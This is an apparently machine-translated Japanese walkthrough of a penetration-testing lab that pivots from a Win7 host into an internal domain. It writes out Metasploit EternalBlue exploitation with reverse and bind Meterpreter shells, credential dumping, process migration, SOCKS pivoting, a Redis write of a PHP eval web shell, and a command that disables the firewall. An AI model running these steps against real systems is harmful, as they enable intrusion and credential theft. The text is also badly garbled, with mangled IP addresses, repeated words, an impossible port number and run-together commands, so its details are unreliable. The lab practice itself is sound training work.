.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
ネットワーク構成
外部ネットワークWIN7：IP1: 192.168.127.91/255.255.255.0、GW:192.168.127.2（NATモード）IP2:1010.0.0.20.98-VMNET1（ホストモード）ドメインホストモード：10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0。のみ）10.0.10.111-VMNET2（ホストモードのみ）ドメイン制御：10.0.10.110-VMNET2（ホストモードのみ）パスワード構成：Win7：Win7/Adminwin2016：administrator/admin@123、 ARP-SCAN -L同じネットワークセグメント
の存続ホストをスキャンしている生存ホスト:192.168.127.91ポートをスキャンして、生き残ったターゲットマシンのIPアドレスをスキャンします
NMAP -SC -T4 192.168.127.91 
ターゲットシステムがWin7であり、445ポートが開いていることを発見しました。 Eternal Blue（MS17-010）を使用してターゲットシステム
情報収集
にヒットしてみてください
イントラネットホストの浸透
KALIにコマンドを入力：MSFConsoleMSF 6検索17-010MSF 6使用ペイロードWindows/X64/MeterPreter/Reverse_TCPMSF 6 SET LPORT 66666MSF 6セットLHOST 192.18.129.127.127.127.127.127.127.127. 192.168.127.91msf 6 Run 
MeterPreterShellc: \ Windows \ System32IpConfig 
私はいくつかの文字化けコードを見つけたので、C: \ Windows \ System32CHCP 65001＃65001＃65001＃65001＃65001＃65001＃65001 c: \ windows \ system32ipconfig＃iは2つのネットワークセグメントを見つけました。1つは192.168.127ネットワークセグメント、もう1つは10.0.20ネットワークセグメント
C: \ Windows \ System32Whomai 
C: \ windows \ system32tasklist/svc＃view＃view system in system 
c3: \ windows \ system32exit #exit shellコマンド末端
meterleterloadoload loadoload loadoload loadoload load load load loadoload MeterPreterCreds_All＃すべての現在のユーザーのログイン資格情報をゲットし、ユーザー名がWin7であり、パスワードは管理者
010-10ダイレクトアクセス、3http://192.168.127.91 oa。現在のバージョンは11.33http://192.168.127.91/inc/inc/expired.php 
Tongdaの検索11.3既存のファイルには検索エンジンを介した脆弱性が含まれています：https://blog.csdn.net/hackzkaq/article/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/11590000 
Ant Sword 
を使用して正常に接続すると、Ant Swordのコマンドターミナルの下で現在のユーザーをシステム許可に表示する許可は、
Web浸透
がシェルが移住している場合に依然として壊れている場合に依存しているときに、シェルが発生します。ディスクへの書き込み操作のないターゲットマシンの安定したプロセスにより、浸透が検出がより困難になります。
自動移行プロセスコマンド（post/windows/manage/magrateの実行）の後、システムは自動的に適切なプロセスを見つけてから、メータープレターを移行してから、1080のspoolsv.exeからspoolsv.exeを管理/移行します。
ADDダイナミックルートメータープレーターはAutoroute -S 10.0.20.0/24またはMeterPreter BackgroundMeterPreter Sessionsmsf6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）を使用します。 1MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）RUN 
METERPRETERバックグラウンド
生き残ったホストMSF6エクスポロイトを発見（Windows/SMB/MS17_010_ETERNALBLUE） Exploit（Windows/SMB/MS17_010_ETERNALBLUE）セッションセッション1MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）SET RHOSTS 10.0.20.1-254MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）RUN 
Survive host.20.9 SOCKS5 Proxy MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）使用補助/サーバー/SOCKS_PROXYMSF6 AUXILIARY（SERVER/SOCKS_PROXY）
ポートスカンシングを修正する必要があります。構成ファイル
VIM /TC/PROXYCHAINS4.CONFSOCKS5 127.0.0.1 1080スキャンNMAPプロキシチェーンを介してターゲットIPの一般的に使用されるポートをスキャンNMAP -ST -PN 10.0.20.99 -P22,23,80,139,445,1433,3306,3389,6379 
は、10.0.20.99のホストがポート6379および80に開かれていることを発見しました。ここには、ローカルソックス5プロキシサービスプロキシアソフトウェア
がDirsearchをスキャンし、ターゲットがPHPINFO.PHPセンシティページを持っていることを発見しました。 200,302 - Format CSV -O C: \ Users \ backlion \ Desktop \ dirsearch-master \ xxx.com.csvまたは攻撃機の下でプロキシチェインを実行するか、kali python dirsearch.py -u http://10.0.0.20.99 -i -Proxy=Socks5: //127.0.0.1:1080 -T 5 
PHPINFO.PHPページにアクセスして、ウェブサイトの絶対パスが公開されていることを確認してください：C:/PHPSTUDY/PHPTUORIAL/WWW/333333333810.0.0.PHPT.0.PHPT.0.0.PHPTURE 
http://10.0.20.99/l.php 
010-10 Redis-Cli Command Proxychains Redis-Cli -H 10.0.20.99を介したパスワードなしのリモート接続'c:/phpstudy/phptutorial/www/' #switchシェル10.0.20.20.99:606379セットx '\ n \ n \ n？php @eval（$ _ post [' x ']）; 10.0.20.99:6379 Config set dbfileName shell.php＃ファイル名をshell.php10.0.0.20.993:6379 Save 
ここに、地元のホストのAnt Swordを介したプロキシです。
View現在のユーザーの許可はシステム
ハンドアロンの浸透
フォワードシェルコデムスフヴェンム-P Windows/x64/meterpreter/bind_tcp lport=3333 -f exe shell.exe 
を実行して、リスナーを構成します
Exploit/Multi/Handlerset Payload Windows/x64/meterpreter/bind_tcpset lport 33333set rhost 10.0.20.99run 3
Firewall netsh firewalsetopmodemode=disable 010-69556 run shell.exe in the Antable同じネットワークセグメントホストMeterPreter ARP 
スキャン10.0.10.110ネットワークセグメント移行プロセスRun Post/Windows/Manage/Migrate